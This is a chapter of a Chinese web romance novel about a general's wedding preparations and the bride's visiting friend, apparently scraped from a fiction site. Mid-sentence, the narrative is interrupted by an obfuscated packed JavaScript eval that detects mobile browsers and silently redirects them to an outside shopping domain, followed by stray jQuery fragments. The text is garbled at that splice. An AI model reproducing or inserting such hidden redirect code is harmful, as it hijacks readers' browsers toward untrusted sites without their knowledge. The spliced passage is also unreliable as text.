文趣网 > 其他小说 > 回到将军少年时 > 114. 她生气了
    跃跃欲试的赵无涯:?

    “……成婚?”

    沈图南却已经拨转马头了。

    披风上沾的血还没干,在风里飘扬,却已是对他一身荣耀最好的加冕。

    他回头看了一眼祁连山口的余晖,嘴角弯了一下,像是想到什么让他发笑的事情:“打完了,该办正事了。”

    沈图南回营写了一封信,让人八百里加急送回长安。

    “我回来了。你准备一下,嫁我。”

    收到信的时候程掌珠正在和戚寒光商量着替沈图南批前几天积压的军务,拆开信看见那句话,她沉默了两息,转头看向同样一头雾水的程一水:“他是不是被打傻了?”

    说是备婚,可是他们那段时间几乎连话都没有说几句,顶多就是在试婚服的时候他来过一次。

    彼时的他站在程掌珠身后,看着镜子里身着凤冠霞帔的她,呼吸都仿佛停滞了。

    长发随意披在肩头,沈图南黑眸中满是惊艳与深情,声音微微颤抖,“珠儿……你好美,美得让我移不开眼睛。”

    他轻轻伸出手,指尖小心翼翼地触碰着凤冠上的珠翠,“这一身,简直是为你量身定制的。”

    “你知道吗?我从未想过,会有一个人,能让我如此心动。这一身嫁衣,你穿得真美。”

    不知是谁教他的,甜言蜜语他最近说的是越发顺口了,尤其周围还有几个丫鬟婆子,看到程掌珠不好意思,都嬉笑着捂着嘴退了出去。

    等到屋子里只剩下他们两个人,程掌珠这才大着胆子回头看他,想到什么,默默地放下了盖头,期待地眨了眨眼。

    意思很明显了,是想让他先练习一下掀盖头。

    过分迟钝的沈图南在会意后只觉得心跳骤然加快,仿佛要从胸口蹦出。

    他深吸一口气,颤抖着双手,缓缓掀开那层红纱。

    程掌珠清丽的面容再次映入眼帘。

    他呼吸一滞,黑眸中瞬间盈满了滚烫的爱意与难以言喻的激动,“珠儿……”

    沈图南吸了吸鼻子,声音里竟然染上了几分哭腔,“……你一定要嫁给我。”

    程掌珠差点破功。

    板上钉钉了,说什么呢。

    这么大的人了还掉小珍珠,真不嫌害臊。

    可是转念一想,眼前的这个人是沈图南诶。

    是世界上最喜欢程掌珠的沈图南,也是程掌珠在这世界上最最喜欢的沈图南。

    程掌珠对他甜甜一笑,不知是不是抹了胭脂的缘故,小脸红扑扑的。

    沈图南呼吸凝滞,眼中翻涌着浓得化不开的爱意,指尖轻触她红扑扑的脸颊,声音低哑含笑,“怎么这么可爱……我的新娘,我等这一天,等了好久。”

    “以后的每一天,我都要让你这么开心,好不好?”

    也就那么一次温存。

    在那之后程掌珠们一边应付着军中事务一边去筹备婚礼,两个人忙得脚打后脑勺,连看对方一眼都是少见。

    他忙着联络其他的人脉网,程掌珠忙着协调后方军资,很多时候顶多就是两个人见一面,说句话,汇报一下今天处理的事以及带来的成果就互相点点头离开了。

    好不容易坐下一起吃顿饭,他冷不丁提了一句,“我们明天好像就要成婚了。”

    程掌珠愣了愣,心想这么快吗?

    两个当事人居然一点实感都没有。

    他给程掌珠夹了块儿她喜欢的糖醋排骨放碗里让她多吃点,程掌珠习惯性地说了一句谢谢。

    话说出来就后悔了。

    记得他之前好长一段时间就因为程掌珠和他太过客气,闹过好几次脾气,这下又触碰到了他的逆鳞。

    程掌珠小心翼翼地抬头看了他一眼。

    沈图南身体微僵,随即放松下来,发出一声极轻的笑,胸腔微微震动。

    “又说谢谢。”

    他稍稍拉开距离,低头看着她的眼睛,“以后,对我,把‘谢谢’换成‘喜欢’两个字,好不好?”

    “我想听你说,你喜欢被我抱,喜欢我处理这些事,喜欢……”

    沈图南声音渐低,带着一丝期待的紧张,“喜欢我。”

    程掌珠眉开眼笑,凑过去“吧唧”亲了他一口。

    喜欢你。

    最喜欢你。

    只喜欢你。

    和他成婚那天,高朋满座,世家宾客齐聚于此。

    可他还是满脸愧疚,握着程掌珠的手,有一下没一下地摩挲着她的手背,说:“珠儿,委屈你了,等到一切结束了,给你补办一场更好的更盛大的婚礼,好不好?让天下人都知道我们成婚了。”

    因为他还没正式登基,按惯例,封后大典必须在登基之后才能走朝廷仪制。

    他倒是想开那个先例,毕竟和程掌珠的事大家都心照不宣,时间长了难免会惹人非议。

    但情况特殊,阿图尔虎视眈眈,历朝历代都没有还没登基就先封皇后的先例,老臣和礼制都过不去。

    所以沈图南寻思着先私下办一场盟誓婚礼,只包括结发、对拜、合卺,不走朝廷流程。

    等两个月后登基了,再补正式的封后大典、发诏书、授册宝。

    程掌珠笑着捏捏他的鼻子说他铺张浪费,可他却一本正经地把她的手指拉下来握进掌心里轻轻揉捏,说:“因为你值得。”

    程掌珠,因为你值得。

    怀璧赶到长安的时候,正是开春第二场雪将化未化的时节。

    她裹着一件半旧的银鼠氅衣,身后跟着两辆马车,一辆装着她从开封带来的贺礼,另一辆装着她自己。

    因为赶得太急,她在车上颠了七天,下车的时候腿都在打晃。

    程掌珠恼她不拿自己身体当回事。

    怀璧脸色苍白,但喜悦之情溢于言表,说无所谓,但你就成这么一次婚,我定是要来的。

    她始终认为,友谊就是不能拐弯抹角,要把所有东西都拿到台面上说才能走的长久。

    所以她也愿意为了这份真挚的感情,一次又一次,千山万水,只为她而来。

    怀璧想了想,又觉得自己说得太绝对,说万一沈图南变心,你改嫁……

    程掌珠哭笑不得去捂她的嘴,“这话让他听到了又要发脾气了。”

    怀璧撇了撇嘴,不以为意,“那你告诉他,他的意见不重要,以后不许他说出来。”

    怀璧好像说了好多有的没的。

    说最近总有几个店铺的老板给她暗送秋波,想勾引她,当她的上门女婿,都被她拿扫帚打出去了。

    说城南那家卖的肉饼最近降价了,降了五文钱,等成婚后,他们可以回开封再吃一次。

    说她之后就打算把铺子搬来长安了,想离她近一点,同时也能够拓宽商路。

    也许真的有女孩子的梦想是成为妻子或是母亲,可很明显,她和程掌

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768616|203150||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    珠不是这样的人。

    截止到目前为止,程掌珠最大的愿望是实现自己的价值,能够在朝廷上大展拳脚。

    而怀璧最大的梦想就是能和程掌珠有一间属于自己的大房子,不用看任何人的脸色。

    怀璧眼睛亮晶晶,说:“要是你不成婚就好了。”

    “我们可以两个人买一个大宅子,你住东边,我住西边。想要做饭的话,就一起做饭;不想要做饭的话,就去下馆子,或是让丫鬟和婆子做。”

    “咱俩把日子过好,比什么都强。”

    说着说着,她忽然又生气了。

    因为她忽然想起来,沈图南本来是打算直接封程掌珠为后的,可是又碍于朝廷大臣和礼法,不得已而往后推迟。

    她看不得程掌珠受委屈。

    “他们如果实在没事儿干,能不能直接乞骸骨回家养老啊?在朝廷上一个两个跟个癞蛤蟆似的,趴人脚面上,不咬人净膈应人。别人成婚了,碍着他们什么事了?”

    程掌珠哈哈大笑,说没事,我当着朝臣的面把他们都打了一顿。

    怀璧狐疑,“没道歉?”

    程掌珠不以为然,“道歉了,那又怎样?反正我有仇当场就报了,把气出了就得呗。”

    怀璧也笑,说还得是你,又问她紧不紧张。

    程掌珠笑着摇头,“又不是第一次成婚了,紧张什么。”

    此话一出,空气仿佛都凝滞了一瞬。

    怀璧缓慢地眨了下眼。

    “……不是第一次成婚,是什么意思?”

    她仔细搜索着自己的记忆。

    实在是没听说程掌珠和沈图南在哪里成亲过一次,但刚刚,她又亲口说不是第一次成亲。

    怀璧总觉得有什么地方被自己忽略掉了。

    程掌珠后知后觉,手指不自在地蜷了蜷。

    “我是说,没吃过猪肉还没见过猪跑吗。看别人成婚,我看了没有十次也有八次了。对于流程,我比任何人都熟。”

    怀璧将信将疑,又从袖中掏出一只锦盒推过去:“贺礼。我连夜赶的,开封城里最好的墨,自己调的松烟,加了冰片和麝香,你写字的时候闻着能提神。”

    “还有一套我自己设计的玉器,你自己留着玩,别卖。”

    程掌珠打开锦盒看了看,墨锭上刻着一对缠枝莲纹,底下压着一方小小的玉质物件,打磨得温润细腻,形状含蓄。

    她看了半天都没反应过来那是什么,直到怀璧鬼迷日眼地对她做了个下九流的手势。

    程掌珠合上盖子,耳尖通红:“你倒是什么都敢做。”

    怀璧理直气壮:“我靠手艺吃饭。开封城里的女眷们需要什么,我就做什么。你当初造反的时候军饷不够,不也是我卖了三年玉器给你贴补的?这会儿倒嫌我东西不正经了。”

    程掌珠拿着那个锦盒像是握着个烫手山芋,想丢,又舍不得,只能小心翼翼地把锦盒收好,嘟囔:“没嫌弃你,这东西比正经贡品实用多了。”

    沉默了一会,她又抬头看怀璧,表情自然得毫无破绽:“刚刚我说的又不是第一次成婚……你忘了,在合肥的时候沈图南上门提亲,你那时候还嫌我嫁妆太薄,连夜给我赶了一对玉如意。我感觉那个流程和成婚差不多。”

    怀璧盯着她看了两息,轻轻“嗯”了一声,端起茶碗喝了一口,没有再追问。

    可程掌珠就是觉得,怀璧好像生气了。